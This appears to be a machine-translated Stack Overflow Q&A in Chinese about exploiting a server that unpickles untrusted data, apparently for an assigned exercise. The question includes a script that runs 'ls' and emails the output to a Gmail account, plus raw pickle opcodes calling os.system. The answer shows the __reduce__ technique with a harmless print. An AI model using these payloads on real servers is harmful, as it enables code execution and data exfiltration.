python - pickle 剥削

标签 python pickle exploit

我有一项任务是将 pickle 文件发送到服务器,该服务器会解开发送给它的任何内容。我的计划是让它通过电子邮件将打印出的 ls 命令发回给我。我有这个文件:

import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()

如何让服务器运行它?我正在尝试发送如下文件:

cos
system
(S''
tR.

在 ' ' 中使用 python 脚本。

我在想:

cos
system
(S'python\n import smptlib\n ...'
tR.

但它不执行命令。我怎样才能让它执行python?

我已经在自己的电脑上试过了,python 可以正常发送电子邮件。

最佳答案

__reduce__ 方法中做任何你想做的友好。请不要作恶。

import pickle

class Friendly:
    def __reduce__(self):
        return (self.friendly, ('executing friendly code',))

    @staticmethod
    def friendly(x):
        print(x)

pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))

->

$ python friendly.py
loading ...
executing friendly code

关于python - pickle 剥削,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/47705202/

相关文章:

python - FutureWarning : The alias _() will be deprecated. 使用 _i18n() 代替

python - 使用不同数量的核心进行多处理时,将结果保存到磁盘会导致不同大小的对象

python - Javascript 可以加载 Python pickle 转储的字符串但不能加载文件

python - 为什么整数可以存储十六进制值但不能以十进制存储相同的值?

c - scanf的宽度规范和scanf_s的区别

python - 从另一个模块访问对象

python - Sqlalchemy:FROM 中的子查询必须有一个别名

python - Django 的 html 模板替代品是什么?

python - 为什么我不能在 Python 中 pickle 错误的 Traceback?

linux - cron.hourly 中的这个文件 (gcc.sh) 是恶意软件吗?